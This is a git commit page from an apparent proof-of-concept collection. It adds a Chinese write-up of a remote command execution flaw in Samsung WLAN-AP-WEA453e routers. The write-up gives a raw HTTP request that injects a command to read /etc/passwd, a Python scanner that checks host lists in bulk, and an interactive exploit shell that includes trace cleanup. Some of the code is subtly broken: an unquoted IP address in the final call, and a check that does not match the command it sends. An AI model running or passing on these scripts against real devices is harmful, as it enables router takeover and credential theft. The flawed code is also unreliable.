mirror of
https://github.com/Mr-xn/Penetration_Testing_POC.git
synced 2025-06-20 18:00:35 +00:00
Create WLAN-AP-WEA453e RCE三星路由器远程命令执行漏洞.md
This commit is contained in:
parent
2562d4762f
commit
dcc6e7cf9d
153
WLAN-AP-WEA453e RCE三星路由器远程命令执行漏洞.md
Normal file
153
WLAN-AP-WEA453e RCE三星路由器远程命令执行漏洞.md
Normal file
@ -0,0 +1,153 @@
|
||||
### 漏洞简介
|
||||
|
||||
|漏洞名称|上报日期|漏洞发现者|产品首页|软件链接|版本|CVE编号|
|
||||
--------|--------|---------|--------|-------|----|------|
|
||||
|WLAN-AP-WEA453e RCE三星路由器远程命令执行漏洞|2020-8|未知|https://www.Samsung.com| |三星WLAN-AP-WEA453e路由器|
|
||||
|
||||
路由器首页
|
||||

|
||||
|
||||
### 漏洞原理
|
||||
|
||||
利用burp构造特殊的请求
|
||||
|
||||
```shell
|
||||
POST /(download)/tmp/a.txt HTTP/1.1
|
||||
Host: xxx.xxx.xxx.xxx
|
||||
command1=shell:cat /etc/passwd| dd of=/tmp/a.txt
|
||||
```
|
||||

|
||||
|
||||
### POC批量检测代码如下
|
||||
```python
|
||||
#filename: Check.py
|
||||
#Usage: python3 Check.py ip.txt
|
||||
import requests
|
||||
import sys
|
||||
import datetime
|
||||
|
||||
def CheckVuln(host):
|
||||
vurl = host+'/(download)/tmp/a.txt'
|
||||
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36','Connection': 'close'}
|
||||
data = {'command1':'shell:ls|dd of=/tmp/a.txt'}
|
||||
try:
|
||||
req = requests.post(url=vurl,data=data,verify=False,headers=headers,timeout=1)
|
||||
|
||||
if req.status_code ==200 and 'root' in req.text:
|
||||
T = ('[*]-'+host+'-----Vulnerable!')
|
||||
print(T)
|
||||
OutPut(T)
|
||||
else:
|
||||
T = ('[-]-'+host+'-----Not Vulnnerable')
|
||||
print(T)
|
||||
OutPut(T)
|
||||
|
||||
except:
|
||||
T = host+'[-]-----Network Error'
|
||||
print(T)
|
||||
OutPut(T)
|
||||
|
||||
def OutPut(F):
|
||||
time = datetime.datetime.now().strftime('%Y-%m-%d')
|
||||
#print(time)
|
||||
f = open(time+'.txt','a')
|
||||
f.write(F + '\n')
|
||||
f.close()
|
||||
|
||||
def GetUrl(path):
|
||||
with open(path,'r',encoding='utf-8') as f:
|
||||
for i in f:
|
||||
if i.strip() != '':
|
||||
oldh = i.strip()
|
||||
#print(oldh)
|
||||
host = 'http://'+oldh
|
||||
CheckVuln(host)
|
||||
|
||||
else:
|
||||
print(path+'Empty File')
|
||||
|
||||
if len(sys.argv) != 2:
|
||||
print('-------------Usage:python3 Check.py ip.txt----------------- ')
|
||||
sys.exit()
|
||||
|
||||
path = sys.argv[1]
|
||||
|
||||
GetUrl(path)
|
||||
|
||||
```
|
||||
### EXP
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
import requests
|
||||
import sys
|
||||
import os
|
||||
from urllib3.exceptions import InsecureRequestWarning
|
||||
|
||||
class exp:
|
||||
def Checking(self):
|
||||
try:
|
||||
Url = self.target + "(download)/tmp/hello.txt"
|
||||
CkData = "command1=shell:cat /etc/passwd| dd of=/tmp/hello.txt"
|
||||
response = requests.post(url = Url,data = CkData,verify = False,timeout = 20)
|
||||
if(response.status_code == 200 and 'root:' in response.text):
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
except Exception as e:
|
||||
#print("checking")
|
||||
print("[-] Server Error!")
|
||||
|
||||
def Exploit(self):
|
||||
Url = self.target + "(download)/tmp/hello.txt"
|
||||
while True:
|
||||
try:
|
||||
command = input("# ")
|
||||
if(command == 'exit'):
|
||||
self.Clean()
|
||||
sys.exit()
|
||||
if(command == 'cls'):
|
||||
os.system("cls")
|
||||
continue
|
||||
data = "command1=shell:" + command + "| dd of=/tmp/hello.txt"
|
||||
response = requests.post(url = Url,data = data,verify = False,timeout = 20)
|
||||
if(response.text == None):
|
||||
print("[!] Server reply nothing")
|
||||
else:
|
||||
print(response.text)
|
||||
except KeyboardInterrupt:
|
||||
self.Clean()
|
||||
exit()
|
||||
except Exception as e:
|
||||
print("[-] Server not suport this command")
|
||||
|
||||
def Clean(self):
|
||||
Url = self.target + "(download)/tmp/hello.txt"
|
||||
try:
|
||||
CleanData = "command1=shell:busybox rm -f /tmp/hello.txt"
|
||||
response = requests.post(url = Url,data = CleanData,verify = False,timeout = 10)
|
||||
|
||||
if(response.status_code == 200):
|
||||
print("[+] Clean target successfully!")
|
||||
sys.exit()
|
||||
else:
|
||||
print("[-] Clean Failed!")
|
||||
except Exception as e:
|
||||
print("[-] Server error!")
|
||||
|
||||
def __init__(self,target,port):
|
||||
self.target=target
|
||||
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
|
||||
|
||||
if(len(sys.argv) == 3):
|
||||
module = sys.argv[2]
|
||||
if(module == 'clean'):
|
||||
self.Clean()
|
||||
else:
|
||||
print("[-] module error!")
|
||||
|
||||
while self.Checking() is True:
|
||||
self.Exploit()
|
||||
|
||||
exp(192.168.10.1,80)
|
||||
```
|
Loading…
x
Reference in New Issue
Block a user